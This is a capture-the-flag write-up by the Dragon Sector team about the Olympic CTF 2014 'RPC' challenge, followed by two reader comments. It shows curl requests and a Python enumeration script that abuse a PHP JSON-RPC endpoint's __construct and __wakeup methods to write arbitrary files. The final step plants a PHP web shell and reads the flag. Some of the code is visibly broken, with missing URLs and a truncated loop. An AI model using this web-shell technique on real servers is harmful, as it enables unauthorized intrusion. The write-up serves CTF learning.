Monday, February 10, 2014

Olympic CTF 2014 - RPC (400)

The write-up was created by mak and edited by j00ru of Dragon Sector.

Let's get started with the "RPC" challenge, poked with and solved by quite a few people on our team: jagger, mak, keidii, Mawekl and vnd, and available during the CTF with the following description:
Wallarm experts[0] do it in 3 minutes. How long will it take you[1]?

Flag format: CTF{..32 hexes..}
Once we clicked on the second link, the task website welcomed us with the following error:
Notice: Undefined index: rpc_json_call in /var/www/index.php on line 27
After some brief googling around for the notice message, we found out what rpc-json was and how it roughly worked. An example of a JSON stream as expected by the protocol looks like the snippet below:
{"jsonrpc": "2.0", "method": "mymethod", "params":{"a1":"va1","a2":"val2"}}
which basically boils down to firing up $obj->$mymethod($val1, $val2). The obvious way to approach this is to find some useful methods we could use in further exploitation - the first one we were able to locate was test with an id parameter:
$ curl -d 'rpc_json_call={"jsonrpc":"2.0","method":"foo","params":{}}' ; echo

invalid method. Try test

$ curl -d 'rpc_json_call={"jsonrpc":"2.0","method":"test","params":{"a":"x"}}' ; echo

invalid method params! Valid is:
We played with the id argument for a bit, unfortunately with no luck - it always returned 42, as this is the answer to everything, right? :) This required us to perform some more educated guessing with regards to the method names:
import requests
import json

def call_method(m,p):
    if type(m) == type(p) and type(m) == list:
        d= []
        for m,p in zip(m,p):
        d = {'jsonrpc':'2.0',"params":p,"method":m}
    print json.dumps(d)
    r ='',data={'rpc_json_call':json.dumps(d)})
    return r.text

def check_method(m):
    return call_method(m,{})[:7] != 'invalid'

methods = [
    'construct','destruct', 'call', 'callStatic', 'get', 'set',
    'isset', 'unset', 'toString', 'invoke', 'set_state','clone'
for m in methods:
    if check_method(m):
        print m
    if check_method('_'+m):
        print '_' + m
    if check_method('__'+m):
        print '__' + m

$ python2 /tmp/
Once we knew about two more interesting methods (standard ones used by PHP for object serialization), we could determine their parameter names:
$ curl -d 'rpc_json_call={"jsonrpc":"2.0","method":"__construct","params":{"a":"x"}}' ; echo

invalid method params! Valid is:
This sounded like we could set some state (curious!), turn on debugging and log something somewhere. With the filesystem path from the original error message, we tried to write to a test file:
$ curl -d 'rpc_json_call=[{"jsonrpc":"2.0","method":"__construct","params": {"log_dir": "/var/www/testing", "debug":true, "state":"pwnd"}}, {"jsonrpc": "2.0", "method": "__wakeup", "params":{}}]' ; echo


$ curl

1391980389    O:3:"rpc":1:{s:5:"state";s:4:"pwnd";}
Hurray, it worked! Having an arbitrary file write primitive, we could easily get ourselves a remote shell:
$ curl -d 'rpc_json_call=[{"jsonrpc":"2.0","method":"__construct","params": {"log_dir": "/var/www/t.php", "debug":true, "state":"<? system($_GET['x']);?>"}}, {"jsonrpc": "2.0", "method": "__wakeup", "params":{}}]' ; echo


$ curl   

1391980463    O:3:"rpc":1:{s:5:"state";s:22:"uid=33(www-data) gid=33(www-data) groups=33(www-data)
Even having compromised the server, we still had to spend a few minutes snooping around the file system, eventually finding the desired flag in the root directory:
$ curl ''

1391980463    O:3:"rpc":1:{s:5:"state";s:22:"CTF{b15ffee30a117f418d1cede6faa57778}
+400 points well earned, and we could happily proceed to the next task. :)


  1. Thanks for your detailed write-up.

    How did you guess this set of methods: {'test', 'construct','wakeup','sleep', 'toString','to_string','invoke','set_state', 'construct','destruct', 'call', 'callStatic', 'get', 'set', 'isset', 'unset', 'toString', 'invoke', 'set_state','clone'}

    How did you know that maybe there are one or two underline at the beginning?!

  2. @Ahmad
    I've asked mak about it and he said that some of them are magic methods (see and others were just educated guesses.